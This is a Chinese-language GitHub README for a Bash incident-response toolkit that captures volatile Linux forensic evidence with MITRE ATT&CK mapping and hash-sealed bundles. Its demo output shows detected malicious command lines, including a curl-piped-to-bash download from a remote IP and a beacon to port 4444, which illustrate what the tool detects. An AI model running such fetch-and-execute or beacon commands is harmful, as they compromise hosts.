WiLL75G/linux-triage-toolkit

GitHub: WiLL75G/linux-triage-toolkit

基于 Bash 的模块化 Linux 实时响应取证收集器,可在入侵事件中快速捕获易失性证据并生成带哈希签名的证据包。

Stars: 1 | Forks: 0

# linux-triage-toolkit **基于 Bash 的模块化 Linux 主机实时响应取证收集器。** [![License: MIT](https://img.shields.io/badge/License-MIT-green.svg)](https://opensource.org/licenses/MIT) [![Shell: Bash](https://img.shields.io/badge/shell-Bash%204.4%2B-1f425f.svg)](https://www.gnu.org/software/bash/) [![Platform: Linux](https://img.shields.io/badge/platform-Linux-blue.svg)](https://github.com/WiLL75G/linux-triage-toolkit) [![Modules Shipped](https://img.shields.io/badge/modules-3%20%2F%208-brightgreen.svg)](https://github.com/WiLL75G/linux-triage-toolkit/tree/main/modules) [![MITRE ATT&CK](https://img.shields.io/badge/MITRE-ATT%26CK%20mapped-red.svg)](https://attack.mitre.org/) [![Status](https://img.shields.io/badge/status-active%20development-orange.svg)](https://github.com/WiLL75G/linux-triage-toolkit/commits/main) ## ⚡ TL;DR `linux-triage-toolkit` 仅使用 Bash 和标准 POSIX 工具,在 **10 秒内**将可能被入侵的 Linux 主机的易失性状态(已登录用户、运行中的进程、网络连接、持久化机制、文件工件和日志)快照为一个可移植的、带有哈希签名的证据包。每个收集步骤都映射到特定的 **MITRE ATT&CK** 技术,以便分析师准确了解每个工件的价值。 该项目由一名 **SOC 见习分析师** 作为公开的、增量发布的学习项目构建,旨在展示应急响应思维、防御性 Bash 工程设计以及 Linux 内部机制知识。 ## 目录 - [问题背景](#-the-problem) - [工具功能](#-what-this-tool-does) - [项目初衷](#-why-this-project-exists) - [工作原理](#%EF%B8%8F-how-it-works) - [在线演示](#-live-demo-sample-output) - [安装说明](#-installation) - [使用方法](#%EF%B8%8F-usage) - [模块清单](#-module-catalog) - [MITRE ATT&CK 覆盖范围](#-mitre-attck-coverage) - [设计决策](#-design-decisions) - [技能展示](#-skills-demonstrated) - [路线图与进度](#-roadmap--progress) - [仓库结构](#-repository-structure) - [局限性与未来工作](#%EF%B8%8F-limitations--future-work) - [作者与联系方式](#-author--contact) - [许可证](#-license) ## 问题背景 当 Linux 主机被怀疑遭到入侵时,应急响应人员只有几分钟甚至几秒钟的时间在证据消失之前将其捕获: - **运行中的进程**会在攻击者终止其 shell 的瞬间消失 - **网络连接**会在重启后消失 - **内存恶意软件**不会留下任何文件系统痕迹 - **攻击者会在清理过程中主动删除证据** 虽然存在像 Velociraptor、UAC 和 Linux IR Triage 这样的商业 DFIR 工具,但它们带来了部署开销,需要进行配置,并且无法教会响应人员*该收集什么以及为什么*。在许多真实的行动中,实际使用的往往是一个快速、独立的 shell 脚本。 ## 工具功能 `linux-triage-toolkit` 提供**单命令取证收集**,捕获 SOC 分析师做出快速遏制决策所需的易失性和半易失性证据: - ✅ **系统身份** 主机名、内核、操作系统、时区 - ✅ **用户与会话** 谁正在主机上、登录历史、UID-0 异常、sudoers - ✅ **运行中的进程** 完整进程树、已删除二进制文件检测(无文件恶意软件指标) - 🔜 网络状态、持久化机制、文件工件、日志摘录和二进制哈希(开发中) 每个工件都: - **使用 UTC 时间戳记录**,便于跨时区关联 - **写入到按主机和运行划分的案例目录中**,确保可审计性 - **打包成 `.tar.gz` 并计算 SHA-256 哈希**,维护监管链 ## 项目初衷 该项目是一个**精心设计的公开学习工件**,旨在展示招聘经理希望从初级 SOC 分析师身上看到的三项能力: 1. **应急响应思维** 理解易失性顺序、证据优先级,以及遏制与调查的权衡 2. **防御性 Bash 工程** 具备容错性、监管链和优雅降级的生产级 shell 脚本编写 3. **Linux 内部机制熟练度** 像真正的 DFIR 工具那样使用 `/proc`、`/etc/passwd` UID 分析和进程内省 为期 7 个周日的增量构建节奏(每周进行公开提交和发布)也展示了**一致、严谨的交付能力**——这正是真实 SOC 轮班中所需要的纪律。 ## 工作原理 只需三步,一个命令: 1. **[`triage.sh`](https://github.com/WiLL75G/linux-triage-toolkit/blob/main/triage.sh)** 为本次运行创建一个带有时间戳的案例目录。 2. **[`modules/`](https://github.com/WiLL75G/linux-triage-toolkit/tree/main/modules)** 中的每个脚本按顺序运行,并将其发现写入该目录。 3. 整个目录被打包成 **`.tar.gz`**,并生成 **SHA-256 哈希**以维护监管链。 就是这样。无需 agent,无需依赖,无需配置文件。 ## 在线演示(示例输出) **通过已删除的二进制文件检测隐蔽恶意软件** 该工具包的标志性技术: ``` --- Processes with deleted binaries (T1055 evasion indicator) --- PID 4471 -> /tmp/x (deleted) cmdline: /tmp/x --beacon 45.33.32.156:4444 PID 4519 -> /home/svc-web/.cache/.x (deleted) cmdline: sh -c curl -s http://185.220.101.34/p | bash ``` **这告诉分析师什么:** 有两个进程正在从执行后被从磁盘删除的二进制文件运行。这是一种典型的反取证技术——恶意软件仅存在于内存中。文件系统 AV 会漏掉这两者。**内核的 `/proc//exe` 符号链接依然掌握真相**,而该模块将其揭示出来。 **真实主机基线(macOS 开发环境,预期为干净输出):** ``` --- Processes with deleted binaries (T1055 evasion indicator) --- /proc not available (not Linux expected on macOS) ``` 该模块能够识别非 Linux 主机并优雅降级,而不是崩溃——这就是**生产级的防御性编码**。 **监管链验证:** ``` $ sha256sum -c output/ir-host_20260702T112120Z.tar.gz.sha256 output/ir-host_20260702T112120Z.tar.gz: OK ``` ## 安装说明 ### 前置条件 - Linux 主机(Ubuntu 18.04+、Debian 10+、CentOS 7+、RHEL 7+) - Bash 4.4+,标准 GNU coreutils(`tar`、`sha256sum`、`find`、`awk`) - **强烈建议使用 Root 或 sudo** —— 某些工件(auth 日志、`lastb`、sudoers)需要提升权限 ### 克隆与准备 ``` git clone https://github.com/WiLL75G/linux-triage-toolkit.git cd linux-triage-toolkit chmod +x triage.sh modules/*.sh ``` 就是这样。无需依赖,无需配置,无需编译。 ## 使用方法 ### 一键收集 ``` sudo ./triage.sh ``` 工件被写入 `output/_/`,然后连同附带的 `.sha256` 哈希一起打包成 `.tar.gz`。 ### 稍后验证包完整性 ``` sha256sum -c output/_.tar.gz.sha256 ``` ### 解压以进行离线分析 ``` tar -xzf output/_.tar.gz ``` ## 模块清单 | # | 模块 | 用途 | MITRE ATT&CK | 状态 | |---|---|---|---|---| | 01 | [`01_system_info.sh`](https://github.com/WiLL75G/linux-triage-toolkit/blob/main/modules/01_system_info.sh) | 主机身份、操作系统、内核、时区 | [T1082](https://attack.mitre.org/techniques/T1082/) | ✅ 已发布 | | 02 | [`02_users.sh`](https://github.com/WiLL75G/linux-triage-toolkit/blob/main/modules/02_users.sh) | 已登录用户、登录历史、UID-0 审计、sudoers | [T1087](https://attack.mitre.org/techniques/T1087/), [T1078](https://attack.mitre.org/techniques/T1078/) | ✅ 已发布 | | 03 | [`03_processes.sh`](https://github.com/WiLL75G/linux-triage-toolkit/blob/main/modules/03_processes.sh) | 进程树、**已删除二进制文件检测**、CPU/内存前 10 | [T1057](https://attack.mitre.org/techniques/T1057/), [T1055](https://attack.mitre.org/techniques/T1055/) | ✅ 已发布 | | 04 | `04_network.sh` | 监听端口、建立的连接、ARP、防火墙规则 | [T1049](https://attack.mitre.org/techniques/T1049/), [T1016](https://attack.mitre.org/techniques/T1016/) | 🔜 计划中 | | 05 | `05_persistence.sh` | Cron、systemd、rc.local、SSH 密钥、shell rc 文件 | [T1543](https://attack.mitre.org/techniques/T1543/), [T1053](https://attack.mitre.org/techniques/T1053/), [T1098](https://attack.mitre.org/techniques/T1098/) | 🔜 计划中 | | 06 | `06_files.sh` | 最近修改、SUID/SGID、全局可写 | [T1083](https://attack.mitre.org/techniques/T1083/), [T1222](https://attack.mitre.org/techniques/T1222/) | 🔜 计划中 | | 07 | `07_logs.sh` | auth.log、syslog、journalctl、bash 历史 | [T1070](https://attack.mitre.org/techniques/T1070/) | 🔜 计划中 | | 08 | `08_hashes.sh` | 可疑二进制文件的 SHA-256,用于 IOC 共享 | — | 🔜 计划中 | ## MITRE ATT&CK 覆盖范围 每个模块都映射到特定的 ATT&CK 技术,以便下游分析师能够立即理解每个工件所证明的内容。 | 战术 | 技术 | 名称 | 模块 | |---|---|---|---| | Discovery | [T1082](https://attack.mitre.org/techniques/T1082/) | System Information Discovery | 01 | | Discovery | [T1087](https://attack.mitre.org/techniques/T1087/) | Account Discovery | 02 | | Discovery | [T1057](https://attack.mitre.org/techniques/T1057/) | Process Discovery | 03 | | Discovery | [T1049](https://attack.mitre.org/techniques/T1049/) | System Network Connections Discovery | 04 | | Discovery | [T1016](https://attack.mitre.org/techniques/T1016/) | System Network Configuration Discovery | 04 | | Discovery | [T1083](https://attack.mitre.org/techniques/T1083/) | File and Directory Discovery | 06 | | Initial Access | [T1078](https://attack.mitre.org/techniques/T1078/) | Valid Accounts | 02 | | Defense Evasion | [T1055](https://attack.mitre.org/techniques/T1055/) | Process Injection (deleted-binary indicator) | 03 | | Defense Evasion | [T1070](https://attack.mitre.org/techniques/T1070/) | Indicator Removal on Host | 07 | | Defense Evasion | [T1222](https://attack.mitre.org/techniques/T1222/) | File and Directory Permissions Modification | 06 | | Persistence | [T1543](https://attack.mitre.org/techniques/T1543/) | Create or Modify System Process | 05 | | Persistence | [T1053](https://attack.mitre.org/techniques/T1053/) | Scheduled Task / Job | 05 | | Persistence | [T1098](https://attack.mitre.org/techniques/T1098/) | Account Manipulation | 05 | **目前已覆盖 8 项技术,完成后将覆盖 13 项。** ## 设计决策 这些是使该工具包区别于业余脚本的精心设计的工程选择。 ### 在每个脚本中使用 `set -euo pipefail` 快速失败,大声失败。事件发生期间的静默失败是危险的——分析师认为“收集成功”,而实际上一半的工件缺失,这比脚本明显崩溃更糟糕。 ### 全面使用 UTC 每个时间戳都使用 `date -u +%Y-%m-%dT%H:%M:%SZ`。跨区域的 IR 分析师必须关联事件;本地时区属于噪音。`Z` 后缀显式声明了 Zulu/UTC。 ### 模块级故障隔离 编排器的 `if bash "${module}" "${CASE_DIR}"; then ... else "FAILED (continuing)" fi` 模式确保了一个损坏的模块永远不会中止整个收集过程。在 IR 中,部分数据胜过没有数据。 ### 通过 SHA-256 维护监管链 每个包在写入的那一刻都会被计算哈希。对 tar 包的任何后续修改都会破坏哈希——这是一种审计员可以验证的隐式防篡改密封。 ### 通过 `/proc//exe` 检测已删除的二进制文件 当攻击者在执行后删除其二进制文件时,内核会保留该进程的 `exe` 符号链接,但会附加 `(deleted)`。该模块遍历 `/proc/[0-9]*` 并呈现每一个匹配项——这是一种被真正 DFIR 工具使用的技术,能够捕获文件系统 AV 完全漏掉的恶意软件。 ### 便携的 Bash 惯用法 - 使用 `command -v foo` (POSIX) 而不是 `which foo`(在不同系统上表现不一致) - 带有默认值的参数扩展:`${1:?case directory required}` - 分组输出重定向:`{ ... } > "${OUT}"`(一次打开,一次关闭) - 将 NUL 转换为空格:`tr '\0' ' ' < /proc//cmdline` 以获得可读的参数 ## 技能展示 *(致招聘人员和招聘经理——此仓库证明我能做什么。)* - **应急响应方法论** 易失性优先的收集顺序、监管链纪律、以决策为中心的工件优先级划分 - **熟练掌握 MITRE ATT&CK** 每个收集步骤都明确映射到一项技术;同时包含攻击([T1055](https://attack.mitre.org/techniques/T1055/) 规避)和防御([T1082](https://attack.mitre.org/techniques/T1082/) 发现)视角 - **防御性 Bash 工程** 生产级错误处理、可移植惯用法、功能检测、优雅降级 - **Linux 内部机制** `/proc` 遍历、符号链接内省、UID 审计、NUL 分隔的 cmdline 解析 - **检测工程思维** 思考哪些工件会*暴露*攻击者,而不仅仅是存在哪些命令 - **文档与沟通** 这份 README 本身就是一个工作样本;能够将技术工作转化为招聘经理的决策语言 - **受版本控制的严谨交付** 公开的 [Git history](https://github.com/WiLL75G/linux-triage-toolkit/commits/main) 展示了每周的增量提交、有意义的提交信息,且没有 force-push ## 路线图与进度 **公开的 7 个周日构建系列**——每个周日发布一个模块,每周附带一篇相应的 LinkedIn/X 文章。 | # | 周日 | 范围 | 状态 | |---|---|---|---| | 1 | 2026年5月24日 | 项目脚手架 + `triage.sh` 编排器 + [`01_system_info`](https://github.com/WiLL75G/linux-triage-toolkit/blob/main/modules/01_system_info.sh) | ✅ 已发布 | | 2 | 2026年5月31日 | [`02_users`](https://github.com/WiLL75G/linux-triage-toolkit/blob/main/modules/02_users.sh) 会话、登录历史、sudoers 审计 | ✅ 已发布 | | 3 | 2026年7月2日 | [`03_processes`](https://github.com/WiLL75G/linux-triage-toolkit/blob/main/modules/03_processes.sh) 进程树 + 已删除二进制文件检测 *(补做)* | ✅ 已发布 | | 4 | 2026年7月5日 | `04_network` 监听端口、建立的连接、ARP、防火墙 | 🔜 计划中 | | 5 | 2026年7月12日 | `05_persistence` cron、systemd、SSH 密钥、shell rc 文件 | 🔜 计划中 | | 6 | 2026年7月19日 | `06_files` + `07_logs` 文件工件和日志捕获 | 🔜 计划中 | | 7 | 2026年7月26日 | `08_hashes` + Ubuntu 虚拟机验证 + 最终 SOC 事件报告 | 🔜 计划中 | ## 仓库结构 ``` linux-triage-toolkit/ ├── triage.sh # Main orchestrator ├── modules/ # Drop-in collection scripts │ ├── 01_system_info.sh │ ├── 02_users.sh │ └── 03_processes.sh ├── output/ # Generated bundles (gitignored) │ └── .gitkeep ├── .gitignore ├── LICENSE └── README.md ``` 浏览代码:[triage.sh](https://github.com/WiLL75G/linux-triage-toolkit/blob/main/triage.sh) · [modules/](https://github.com/WiLL75G/linux-triage-toolkit/tree/main/modules) · [.gitignore](https://github.com/WiLL75G/linux-triage-toolkit/blob/main/.gitignore) · [LICENSE](https://github.com/WiLL75G/linux-triage-toolkit/blob/main/LICENSE) ## 局限性与未来工作 **当前局限性:** - 主要针对 **Debian/Ubuntu** 进行了测试;RHEL/CentOS 代码路径使用了尚未经过端到端验证的回退方案 - 某些工件(`auth.log`、`lastb`、`sudoers`)需要 root 权限;该工具通过明确的“不可读”通知进行优雅降级,而不是崩溃 - **不支持远程收集** 专为在主机上执行而设计;使用 `scp` 从被入侵的主机中检索证据包 - **假设在收集时 root 未被感染** 预先存在的 rootkit 可能会返回伪造的数据。结合基于 LiME 的内存获取以获得完整结果。 **计划增强:** - 用于 SIEM 摄取(Splunk、Sentinel)的 JSON 输出模式 - 可选的远程工件上传(SFTP / S3 目标) - 内存获取模块(集成 LiME) - 检测特征库 精心整理的已知恶意 cron 条目、可疑的 `.bashrc` 片段、常见的 webshell 路径 - Ubuntu 虚拟机自动化验证工具(攻击者植入 IOC → 工具包运行 → 验证差异对比) ## 作者与联系方式 **[@WilliamInCyber](https://x.com/WilliamInCyber)** SOC 分析师(见习) 专注于蓝队运营、威胁检测和应急响应。 - **GitHub:** [@WiLL75G](https://github.com/WiLL75G) - **X / Twitter:** [@WilliamInCyber](https://x.com/WilliamInCyber) - **作品集:** [will75g.github.io/-portfolio/](https://will75g.github.io/-portfolio/) *目前正在寻找适合远程工作的 MSSP 的 Tier 1 / 初级 SOC 职位。欢迎交流——通过 LinkedIn 或在此仓库的 [GitHub Issues](https://github.com/WiLL75G/linux-triage-toolkit/issues) 上与我联系。* ## 许可证 MIT 许可证——完整文本请参见 [LICENSE](https://github.com/WiLL75G/linux-triage-toolkit/blob/main/LICENSE)。 **作为走向 SOC Tier 1 分析师角色的有记录的学习旅程的一部分而公开构建。** 欢迎提供反馈、提出 [issue](https://github.com/WiLL75G/linux-triage-toolkit/pulls) 和发起 pull request。
标签:Bash, HTTP工具, Mr. Robot, 取证工具, 子域名变形, 安全运营, 库, 应急响应, 应用安全, 扫描框架, 数字取证, 自动化脚本